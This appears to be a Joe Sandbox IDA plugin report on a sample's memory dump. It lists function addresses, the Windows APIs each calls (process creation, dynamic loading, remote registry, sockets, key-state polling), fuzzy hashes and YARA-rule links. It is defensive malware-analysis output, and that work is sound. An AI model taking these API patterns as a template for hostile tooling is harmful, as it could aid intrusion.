Instruction ID: 90be2b55ebf7fc7f6392c9400e5f18edbe8402f1d2100c9b81074fe8b0913cf1
Opcode Fuzzy Hash: 6bb77cb4f780d2dddea97670b73f97622209acab95fe357d9c7f5b749361476e
Instruction Fuzzy Hash: 251175B1500305BBCF12BF609C89FE93B78AB45715F008066FD19AA142DBB89949DB70

Function 00747A94 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00747AD8

Part of subcall function 00747CF4: __mtinitlocknum.LIBCMT ref: 00747D06
Part of subcall function 00747CF4: EnterCriticalSection.KERNEL32(00000000,?,00747ADD,0000000D), ref: 00747D1F

InterlockedIncrement.KERNEL32(?), ref: 00747AE5
__lock.LIBCMT ref: 00747AF9
___addlocaleref.LIBCMT ref: 00747B17

Strings

`z, xrefs: 00747AA3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID: `z
API String ID: 1687444384-4273283268
Opcode ID: 5e3da2786f1513063e135fa643e43e97e83fd16efb518a75019c667f4ccef296
Instruction ID: cf5364346687a112d70a46a3f7a18c1a36b780aee5ceb7e6a282387f1eba4478
Opcode Fuzzy Hash: 5e3da2786f1513063e135fa643e43e97e83fd16efb518a75019c667f4ccef296
Instruction Fuzzy Hash: D6016DB1504B00EFD720DF75D90974AB7F0EF40321F20890EE49A976A0CBB8A640CB56

Function 0078E32E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0078E33D
_memset.LIBCMT ref: 0078E34C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,007E3D00,007E3D44), ref: 0078E37B
CloseHandle.KERNEL32 ref: 0078E38D

Strings

D=~, xrefs: 0078E346

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: D=~
API String ID: 3277943733-1434970251
Opcode ID: 12f8f5e7869bd2a1bd0e48646d99f1f7924ff5ec46fd327e501085364e341f3d
Instruction ID: d7e5ea2274a9b1a7915c2fb2643ebfdd7fe895ebef777819920cf56a9daeea41
Opcode Fuzzy Hash: 12f8f5e7869bd2a1bd0e48646d99f1f7924ff5ec46fd327e501085364e341f3d
Instruction Fuzzy Hash: 8AF03AB1741344BAE210AB61AC89F777A5DDB09754F018461BE09DB1A2D37D9E108AA8

Function 00781945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 007819F3
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00781A26
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00781B49
CloseHandle.KERNEL32(?), ref: 00781BBF

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 02d716d484d437140c3ba34fb82d3266031278ce1fa9085bfd8ddd01abd21c9e
Instruction ID: cf3db1c50986709e5cbf579509918e7ceae7426b7545c731f68bf7d1cce7703f
Opcode Fuzzy Hash: 02d716d484d437140c3ba34fb82d3266031278ce1fa9085bfd8ddd01abd21c9e
Instruction Fuzzy Hash: 9E8164B0640214EBDF10AF54C88ABADBBE9AF44720F14C459F905AF383D7B8AD41CB90

Function 0078E062 Relevance: 7.7, APIs: 5, Instructions: 187windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0078E1D5
SendMessageW.USER32(?,000000B0,?,?), ref: 0078E20D
IsDlgButtonChecked.USER32(?,00000001), ref: 0078E248
GetWindowLongW.USER32(?,000000EC), ref: 0078E269
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0078E281

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$ButtonCheckedLongWindow
String ID:
API String ID: 3188977179-0
Opcode ID: 3a3ec1303646e241b4c09c8e233185d65751b4480c74531cc1692fd2aee54f05
Instruction ID: 2937ceceff060be29736f0c753dba6fff9d6f099f9d65bb1f2a061f7adf55a9a
Opcode Fuzzy Hash: 3a3ec1303646e241b4c09c8e233185d65751b4480c74531cc1692fd2aee54f05
Instruction Fuzzy Hash: 7861B534A80248EFDB20EF58C899FAA77BAFF89300F144499F955973A1C778AD40CB11

Function 00761C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00761CB4
VariantClear.OLEAUT32(00000013), ref: 00761D26
VariantClear.OLEAUT32(00000000), ref: 00761D81
VariantClear.OLEAUT32(?), ref: 00761DF8
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00761E26

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 469538a545aa9e3a8ce91f2e44bc6704cb70077c0029adb474b93cce538e8173
Instruction ID: 57ea24e0db7ddc7c4e957942227607f34f12136c2d70b4978efdbcbfb80ea77e
Opcode Fuzzy Hash: 469538a545aa9e3a8ce91f2e44bc6704cb70077c0029adb474b93cce538e8173
Instruction Fuzzy Hash: A4517DB5A00249EFDB14CF58C884AAAB7B8FF8C314B198559ED4ADB305D334E911CFA0

Function 00780688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 007806EE
GetProcAddress.KERNEL32(00000000,?), ref: 0078077D
GetProcAddress.KERNEL32(00000000,00000000), ref: 0078079B
GetProcAddress.KERNEL32(00000000,?), ref: 007807E1
FreeLibrary.KERNEL32(00000000,00000004), ref: 007807FB

Part of subcall function 0073E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,0076A574,?,?,00000000,00000008), ref: 0073E675
Part of subcall function 0073E65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0076A574,?,?,00000000,00000008), ref: 0073E699

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: a69899c1c572af30b735e6090552b4663cc91a0f7d8355c4671e9a7f35f09308
Instruction ID: ce3d1d2dd990f47ba6d4cd50c4d623a7fb39b4a8330c9cbf95816a4211039452
Opcode Fuzzy Hash: a69899c1c572af30b735e6090552b4663cc91a0f7d8355c4671e9a7f35f09308
Instruction Fuzzy Hash: 57515775A00219DFCB10EFA8C8859ADB7B5BF59310F058059EA06AB352DB38ED49CB90

Function 00782E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00783C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00782BB5,?,?), ref: 00783C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00782EEF
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00782F2E
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00782F75
RegCloseKey.ADVAPI32(?,?), ref: 00782FA1
RegCloseKey.ADVAPI32(00000000), ref: 00782FAE

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: cb6e1957cc0cf73a638e1cb1cd6df9a5576eb09e0656c0b1ddfac6b917d7b83e
Instruction ID: cc0b23987df3884cfa1a3f40950cf41f3409602c6f827c2b908ff491d422163b
Opcode Fuzzy Hash: cb6e1957cc0cf73a638e1cb1cd6df9a5576eb09e0656c0b1ddfac6b917d7b83e
Instruction Fuzzy Hash: DC514A71208204EFD715EF54C895EAEB7F9BF88304F04881DF69697292DB38E905CB52

Function 0078CCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ecab4cffe4947dc0e017491efba93696df112dbc07740ca2b15a4fdda46252
Instruction ID: f620d7f14755f3cdeb82651a3c9a0823135263c253dcfc280199548cd2d28ee6
Opcode Fuzzy Hash: 39ecab4cffe4947dc0e017491efba93696df112dbc07740ca2b15a4fdda46252
Instruction Fuzzy Hash: 7A41D239A40244AFC722FB68CC48FA9BF68EB0D310F144265F95AA72D1C738AD41DB74

Function 00771206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 007712B4
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 007712DD
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0077131C

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00771341
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00771349

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: e6e0dbf70cbabed72f688387db2d326a9e52d4be2388f817b2371c3f51a52bf4
Instruction ID: ba22670eb49174e747a5c054812003518dab5e3089b154c12bc1c48bf2126d32
Opcode Fuzzy Hash: e6e0dbf70cbabed72f688387db2d326a9e52d4be2388f817b2371c3f51a52bf4
Instruction Fuzzy Hash: BD41F935A00115DFDF01EF64C995AAEBBF5FF49310B148099E90AAB3A2CB35ED01DB54

Function 0073B63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(000000FF), ref: 0073B64F
ScreenToClient.USER32(00000000,000000FF), ref: 0073B66C
GetAsyncKeyState.USER32(00000001), ref: 0073B691
GetAsyncKeyState.USER32(00000002), ref: 0073B69F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 151e8ad4cb8158f8dc09ecb1af2c4f3d3ae910cd8e4b992f088505d8da8f9d20
Instruction ID: 6ba056938ce18bb355d35a8dfe50d484485a925bca805fce46acc829191a94dd
Opcode Fuzzy Hash: 151e8ad4cb8158f8dc09ecb1af2c4f3d3ae910cd8e4b992f088505d8da8f9d20
Instruction Fuzzy Hash: D2418131504109FBDF25DF64C849AEDBB75FB05320F104319F82992291C738AD50DFA1

Function 0075B358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0075B369
PostMessageW.USER32(?,00000201,00000001), ref: 0075B413
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0075B41B
PostMessageW.USER32(?,00000202,00000000), ref: 0075B429
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 0075B431

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 251da6b4bd84f1f46713d5a0ac0ba9e1d7b652e4d060f28fb2c84fcfd7b3aa07
Instruction ID: 0dd431b25afef470a58baca324efa133d8dc54292d5108e6daf776005829a85e
Opcode Fuzzy Hash: 251da6b4bd84f1f46713d5a0ac0ba9e1d7b652e4d060f28fb2c84fcfd7b3aa07
Instruction Fuzzy Hash: 1E31AE7190021DEBDF14CFA8D94DAEE7BB5EB45316F108229F921AA1D1C3B89D58CF90

Function 0075DBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0075DBD7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0075DBF4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0075DC2C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0075DC52
_wcsstr.LIBCMT ref: 0075DC5C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 91aa35ace5fdea513ddad152c08ca15a818e0576262dc087a0b2c9ceec5e671f
Instruction ID: 00d9f8a30ea56d99849d11389fb18bbadda0d121774941b58436aeb7104a39c5
Opcode Fuzzy Hash: 91aa35ace5fdea513ddad152c08ca15a818e0576262dc087a0b2c9ceec5e671f
Instruction Fuzzy Hash: D421F571604100AFEB359B399C49EBB7BA8DF45751F108029FC0ACA191EAE9CC4596A4

Function 0078DE69 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

GetWindowLongW.USER32(?,000000F0), ref: 0078DEB0
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0078DED4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0078DEEC
GetSystemMetrics.USER32(00000004), ref: 0078DF14
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,00000000,?,00773A1E,00000000), ref: 0078DF32

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 036d3a2adaad329be94e73723e0d5d9bb2a3750ea27a7c8530551c2584352d0a
Instruction ID: 7b8c3c77a5aae3956f88c0a7094ddf3410ab85c7d6eabf93119eef2f60761bbe
Opcode Fuzzy Hash: 036d3a2adaad329be94e73723e0d5d9bb2a3750ea27a7c8530551c2584352d0a
Instruction Fuzzy Hash: 8A21C171651252AFCB306F788C88BAA3B94FB59724F154324F937CA5E0E7789C50DB80

Function 0075BC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0075BC90
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0075BCC2
__itow.LIBCMT ref: 0075BCDA
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0075BD00
__itow.LIBCMT ref: 0075BD11

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 46636f164737a0342110f77e46f9f58a47cc6ce788db2b079ca0062c8e95fe8f
Instruction ID: 3604fd4dd249f1fccbe1d0537dc3f60717bcc6f45c43e02ccba8e7b55bf26c2d
Opcode Fuzzy Hash: 46636f164737a0342110f77e46f9f58a47cc6ce788db2b079ca0062c8e95fe8f
Instruction Fuzzy Hash: 7721F931700318BADB20AB649C49FEE7A78AF89351F004065FD05EB181DBF88D4987B5

Function 00766318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 007250E6: _wcsncpy.LIBCMT ref: 007250FA

GetFileAttributesW.KERNEL32(?,?,?,?,007660C3), ref: 00766369
GetLastError.KERNEL32(?,?,?,007660C3), ref: 00766374
CreateDirectoryW.KERNEL32(?,00000000,?,?,?,007660C3), ref: 00766388
_wcsrchr.LIBCMT ref: 007663AA

Part of subcall function 00766318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,007660C3), ref: 007663E0

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: ffa7213351051068f6763d04e463d5f227b4b9db16b7271e9a7323f140c7f972
Instruction ID: 5a1e3ada830a88beb9b0dc664e91f822e9702744aa15ddf04caa70779915de24
Opcode Fuzzy Hash: ffa7213351051068f6763d04e463d5f227b4b9db16b7271e9a7323f140c7f972
Instruction Fuzzy Hash: 79210831904215DBEF21AB79AC46FEA336CEF063A0F904065F807D72C1EB6CDD808A55

Function 00778B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0077A82C: inet_addr.WSOCK32(00000000), ref: 0077A84E

socket.WSOCK32(00000002,00000001,00000006), ref: 00778BD3
WSAGetLastError.WSOCK32(00000000), ref: 00778BE2
connect.WSOCK32(00000000,?,00000010), ref: 00778BFE

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: 421e614b3a7aa60a770c6071d22f193665ece10e7c07b3eb55f1020a8b43a569
Instruction ID: 22f03ec968a5016b3296c200eb7b68fa0b9ed87f648b3c78a4bea9fcef2ca842
Opcode Fuzzy Hash: 421e614b3a7aa60a770c6071d22f193665ece10e7c07b3eb55f1020a8b43a569
Instruction Fuzzy Hash: C221A1312002149FDB15AF28C849F7D77A9AF89750F04C449F9469B292CB78AC018762

Function 00778420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00778441
GetForegroundWindow.USER32 ref: 00778458
GetDC.USER32(00000000), ref: 00778494
GetPixel.GDI32(00000000,?,00000003), ref: 007784A0
ReleaseDC.USER32(00000000,00000003), ref: 007784DB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 015d7feaa5e44b18be3240e4de9c5380571ba14f9f65d31b2d2d3eec2d1e9a1c
